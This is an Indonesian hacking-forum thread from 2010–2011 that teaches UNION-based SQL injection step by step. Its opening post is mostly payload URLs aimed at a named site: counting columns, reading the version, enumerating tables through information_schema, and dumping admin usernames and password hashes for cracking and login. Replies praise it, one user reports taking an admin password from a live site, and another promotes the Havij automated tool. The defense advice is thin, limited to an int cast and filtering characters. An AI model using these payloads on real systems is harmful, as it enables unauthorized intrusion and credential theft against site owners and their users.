Thread subject: Explore Your Brain :: SQL injection [Attack + Defense]

Posted by ysufv on 22-02-2010 18:24
#1

[+] SQL injection
SQL injection merupakan teknik mengeksploitasi pada kelemahan suatu script yang dapat memaparkan data data yang tersimpan dalam sebuah database, misalnya dalam table user yang menampung data useradmin beserta passwordnya.
[-] Bagaimana cara melakukan teknik SQL injection ini?
Teknik ini didapat melalui mengecek kesalahan parsing php yang memungkinkan terjadinya sebuah vuln, sebagai contoh

Code
<?php
     $id = $_GET['id'];
          $result = mysql_query( "SELECT name FROM members WHERE id = '$id'");
               >





Kita lihat bahwa variable “id” tidak terfilter, dengan begitu memungkinkan seorang Attacker untuk memasukkan special character pada jumlah id sehingga Attacker dapat mengetahui suatu web yg mempunyai vuln pada SQL injection dengan cara memberi special character pada akhir id, misalnya id=1’ akan memunculkan pesan error (null) Unclosed quotation mark before the character string '1' ' dan sejenisnya,
dengan begitu kita dapat mengeksploitasi melalui id dengan cara menginjeksi satu persatu untuk mencari tahu jumlah table, nama coloumn, nama table, dan bahkan informasi data admin.
Ex:http://smagocyber.co.cc/blog/view.php?id=null+union+all+select+1,2,3,concat(user,0x3a ,password),5,6,7,8,9,10+from+users—
Dan akan muncul username dan passwordnya (biasanya dalam bentuk md5)

[-] Berikut step by step metode sql injection
Cek vulnerability dengan single quote :
http://smagocyber.co.cc/blog/view.php?id=100
setelah itu, kita mencari Halaman apa yang memiliki vuln
http://smagocyber.co.cc/blog/view.php?id=100 order by 1-- > normal
http://smagocyber.co.cc/blog/view.php?id=100 order by 2-- > normal
http://smagocyber.co.cc/blog/view.php?id=100 order by 3-- > normal
http://smagocyber.co.cc/blog/view.php?id=100 order by 4-- > normal
http://smagocyber.co.cc/blog/view.php?id=100 order by 5-- > normal
http://smagocyber.co.cc/blog/view.php?id=100 order by 6-- > normal
http://smagocyber.co.cc/blog/view.php?id=100 order by 7-- > normal
http://smagocyber.co.cc/blog/view.php?id=100 order by 8-- > normal
http://smagocyber.co.cc/blog/view.php?id=100 order by 9-- > error (You have an error in your SQL syntax) ok, kita tahu bahwa target mempunya 8 table.
sekarang kita cari angka table yg muncul untuk kita injeksi pada selanjutnya
dg perintah union select
http://smagocyber.co.cc/blog/view.php?id=100+union+select+1,2,3,4,5,6,7,8—
Ok, misalkan yg keluar angka 5, berarti kita nanti akan menginjeksi pada table angka 5.
gunakan perintah version() atau @@version untuk mengecek versi sql yg diapakai masukan perintah tsb pada angka yg keluar tadi
Ex: http://smagocyber.co.cc/blog/view.php?id=100+union+select+1,2,3,4,version(),6,7,8-- atau http://smagocyber.co.cc/blog/view.php?id=100+union+select+1,2,3,4,@@version,6,7,8--
Apabila versi 4, kita tinggalkan saja, karena versi 4 ini kita harus menebak sendiri table & column yg ada pada target tersebut karena tidak bisa menggunakan perintah from+information_schema.. Namun masih terdapat metode SQL injection lain yang lebih rumit untuk versi 4.
Baik, kita misalkan target menggunakan versi 5.
untuk menampilkan table yg ada pada target kita gunakan perintah

Code
table_name       --> nomor table yg akan di inject tadi (angka5)
+from+information_schema.tables --> dimasukan setelah angka terakhir




Ex: http://smagocyber.co.cc/blog/view.php?id=100+union+select+1,2,3,4,table_name,6,7,8+from+information_schema.tables--
Misal table yang muncul adalah "admin"
Selanjutnya, gunakan perintah

Code
group_concat(column_name)    >>> dimasukan pada angka yg keluar tadi
+from+information_schema.columns+where+table_name=0xhexa—
>>> dimasukan setelah angka terakhir





http://smagocyber.co.cc/blog/view.php?id=100+union+select+1,2,3,4,group_concat(column_name),6,7,8+from+information_schema.columns+where+table_name=0xhexa—
Convert nama table (admin) ke dalam hex, kamu bisa menggunakan hex converter di http://systems-gabirel.isgreat.org
Misal admin maka akan menjadi 61646D696E
http://smagocyber.co.cc/blog/view.php?id=100+union+select+1,2,3,4,group_concat(column_name),6,7,8+from+information_schema.columns+where+table_name=0x61646D696E—
Selanjutnya, kita keluarkan isi table yaitu dengan command

Code
concat_ws(0x3a,hasil isi column yg mau dikeluarkan)    >>> dimasukan pada angka yg keluar tadi
+from+(nama table berasal)      >>> dimasukan setelah angka terakhir




http://smagocyber.co.cc/blog/view.php?id=100+union+select+1,2,3,4,concat_ws(0x3a,hasil isi column),6,7,8+from+(nama table berasal)—
contoh kata yang keluar adalah id,username,password
http://smagocyber.co.cc/blog/view.php?id=100+union+select+1,2,3,4,concat_ws(0x3a,id,username,password),6,7,8+from+admin—
Selanjutnya kita tinggal mendecrypt password hash (biasanya dalam bentuk md5) dan mencari halaman login
[-] Bagaimana cara mencegah terjadinya SQL injection?
Kita dapat mencegah terjadinya teknik SQL injection ini dengan cara mendisable special character seperti [ - , . ( ) ' " _ + / * ] agar tidak memunculkan pesan error (null), edit bagian file yang mempunyai vuln dengan cara memberi keterangan bahwa hanya memunculkan id=(integer)
Yaitu pada bagian
Code
$id = $_GET['id']; diganti dengan $id=(int)$_GET['id'];



NB: Biasanya pada sebuah cms seperti joomla mempunyai jumlah table dan coloumn yang sama, sehingga terciptalah sebuah exploit. Exploit tersebut dapat dibedakan melalui component/widget yang dipakai, dan versi dari component/widget tersebut sehingga akan mempunyai vuln yg sama.

Edited by ysufv on 23-02-2010 14:11

Posted by ayam-kalkun on 22-02-2010 20:59
#2

good tutorial bro ... keep exploreyourbrain.. lagi gw pelajarin tutorialnya ....

Posted by EVA-00 on 23-02-2010 23:52
#3

:?hui? nice share bro. kl mau tutorial komplit yang bisa experiment di komputer sendiri silahkan download ebook "SQL Injection Exposed" di ebook tersebut sudah di sertakan CMS Sederhana yang bisa di inject.

jadi bisa langsung praktek di komputer lu langsung. (heheheh promosi mode on :P )

Posted by ysufv on 27-02-2010 17:48
#4

cihuy, thanks buat tambahannya mas :D ikutan belajar ah..:?cay?

Posted by mvmt4z on 01-02-2011 08:48
#5

@EVA-00 ...... heheh iya nih gara2 penasaran dgn ebook SQL Injection jadinya nyobain juga sambil sekalian belajar .... pas di coba di dunia nyata ( aka dunia maya ) :?mad? .... dapet pass admin nyah yg pk enkripsi ..... hahhha

Edited by mvmt4z on 01-02-2011 08:48

Posted by davi jones on 17-03-2011 20:36
#6

nice info gan :gj

Posted by civo on 09-04-2011 20:25
#7

bookmark dulu masbro...ijin buat belajar:gj

Posted by yukik4ze on 10-05-2011 22:06
#8

Yg pke tools jg bisa.. tapi ga da serunya.. (kecuali kalau benar-benar 'segera').. bisa search lokal di indo***ster.com, namanya Havij Pro. Sekarang dah yang versi 1.14